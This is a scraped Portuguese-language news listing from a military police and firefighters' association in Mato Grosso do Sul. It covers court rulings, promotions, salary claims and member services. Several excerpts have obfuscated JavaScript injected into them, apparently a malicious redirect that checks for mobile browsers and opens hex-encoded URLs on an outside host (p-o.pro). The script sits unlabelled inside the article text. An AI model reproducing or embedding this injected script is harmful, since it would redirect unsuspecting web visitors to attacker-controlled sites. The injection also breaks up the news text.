Destaques

O ministro Nefi Cordeiro, do STJ (Superior Tribunal de Justiça), decidiu que o policial militar da ativa, em seu horário de folga e fora do local de serviço, ou seja, fora do local sob os auspícios da Policia Militar, não comete crime militar, e sim crime comum. A decisão foi tomada em julgamento de um Habeas Corpus impetrado pela assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) em favor de um sócio. “Trata-se de uma decisão inédita quando se trata de competência da Justiça Militar Estadual, uma vez que a defesa sempre insistiu com a tese de que a Justiça Militar Estadual não era competente para processar e julgar policiais militares que teriam cometido crime fora do horário de trabalho e em locais não subordinado...

A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) está auxiliando os candidatos que pretendem entrar com recurso contra o resultado do Exame de Capacidade Física. O prazo termina hoje (13), às 17h. Reclamações de alguns candidatos indicam que a Fapems, organizadora do concurso para soldados e oficiais da Polícia Militar e do Corpo de Bombeiros, cometeu possíveis irregularidades nas filmagens e cronometragem individual da prova de corrida. Em alguns dos vídeos, que serviriam para os candidatos saberem seus tempos de prova, sequer aparecem os tempos registrados. Os interessados podem procurar a sede da ACS, que fica na Rua Joaquim Manoel de Souza, 67 - Vila Olinda. Mais informações pelo telefone (67) 3387-8501 Jeozadaque Garcia Assess...

A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) solicitou à Sejusp (Secretaria de Estado de Justiça e Segurança Pública) cópia do Termo de Cooperação que liberou acesso de profissionais da advocacia ao Sigo (Sistema Integrado de Gestão Operacional). O documento, assinado pelo presidente da entidade, cabo Mario Sérgio Couto, foi protocolado esta manhã na própria Secretaria. Nele, o representante dos policiais militares e bombeiros reforça a necessidade de acesso ao Termo para esclarecer alguns pontos aos associados. A medida atende pedido da OAB/MS (Ordem dos Advogados do Brasil) em Mato Grosso do Sul. Para o presidente da Ordem, o ato abre mais um canal de trabalho para a advocacia. Para ele, segundo o site Campo Grande News, é um pa...

A 1ª Câmara Cível do TJMS (Tribunal de Justiça de Mato Grosso do Sul) julgou, nesta segunda-feira (05), improcedente um mandado de segurança que havia sido impetrado pela categoria dos procuradores e, desta forma, destravou as promoções na Polícia Militar, Corpo de Bombeiros e Polícia Civil. Segundo o presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), cabo Mario Sérgio Couto, o mandado impedia a concessão de promoções aos servidores estaduais. Agora, ele explica, não há restrição alguma para o Governo finalmente colocar em dia as promoções na PM e BM. Jeozadaque Garcia Assessoria de Imprensa da ACS function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x302...

A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) ajuizou, nesta segunda-feira (22), uma ação coletiva requerendo a reposição inflacionária dos últimos cinco anos para os associados. Segundo o presidente da entidade, cabo Mário Sérgio Couto, não se trata de uma “afronta”, mas, sim, de uma luta por direitos garantidos na Constituição. “É um direito nosso. Não fazemos nenhuma afronta, apenas queremos o que é nosso por direito. Essa ação é específica aos associados, pois tenho legitimidade, como presidente, apenas para os associados”, explicou. O pedido foi ajuizado na Vara de Fazenda Pública e Registros Públicos da Comarca de Campo Grande, pelo advogado Edmar Soares da Silva. Nos últimos cinco anos, os militares estaduais amargam grand...

Poucos sabem, mas a ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) oferece 50% de desconto de honorários advocatícios em ações que não são cobertas pelo Estatuto Social. A atuação do Jurídico da Associação compreende as áreas de Penal Militar e Comum, Tribunal do Júri, Cível em ações de competência da Fazenda Pública, Família e Administrativa Um dos mais importantes serviços assegurados pela ACS à categoria, a Assessoria Jurídica tem desempenhado um papel fundamental na representação dos sócios perante o Poder Judiciário. Além da orientação do ponto de vista legal nas atividades e procedimentos internos da entidade, os advogados Edmar Soares da Silva, Silwalter Hagner Cano da Silva e Deiwes William Bosson Silva prestam assessoria aos...

O presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), cabo Mario Sérgio Couto, se reuniu, nesta quarta-feira (10), com representantes do Governo do Estado para tratar das demandas da categoria. A reunião foi articulada pelo deputado estadual Coronel David, após solicitação da diretoria da ACS, e contou com a presença dos comandantes-gerais da Polícia Militar e do Corpo de Bombeiros, do secretário de Governo Eduardo Riedel, além do próprio governador Reinaldo Azambuja. Confira no vídeo como foi a reunião: function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}fu...

A atual gestão da ACS tem colocado em prática sua proposta de reestruturação. Em abril de 2018, foi implantado, na sede da entidade, uma sala exclusiva para atenção psicossocial ao policial e bombeiro militar, seus familiares, sem nenhum custo. O objetivo da Associação é oferecer cuidado diferenciado aos pacientes com sofrimento psíquico, por meio de atendimento individual e acolhedor. Além desse atendimento individual no local, o profissional de psicologia tem feito acompanhamento aos pacientes internos em tratamento na Clínica Carandá, como também tem desenvolvido um acompanhamento psicológico aos sócios no Presídio Militar. A entidade tem 12 regionais que fazem parte, e com isso temos atendido diversos sócios agregados nessas regionais como Dourados, Corumbá, Coxim, Três Lagoas e J...

O presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), cabo Mario Sérgio Couto, rebateu boatos sobre a possível revogação do artigo 23 da Lei Nº 127/08, que prevê gratificação de 10% a motoristas e comandantes de viaturas. Confira: function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x67\x61\x56\x32\x63\x372','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x70\x47\x73\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x...

A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) entregou ao Comando Geral, nesta quinta-feira (27), diversos requerimentos de associados que buscam aderir ao acordo de implantação da lei complementar 256/18, que prevê a isonomia salarial nas corporações militares. Alguns não associados também tiveram sua documentação encaminhada através do Comando. Segundo o presidente da ACS, cabo Mario Sérgio Couto, associados de cidades como Campo Grande, Dourados, Sidrolândia, Jardim, Corumbá, Três Lagoas, Brasilândia, Naviraí, Deodápolis, Itaporã e Ponta Porã buscaram orientação na entidade. A entrega da documentação foi feita pessoalmente ao comandante-geral da Polícia Militar, coronel Waldir Ribeiro Acosta, e contou ainda com a presença do vic...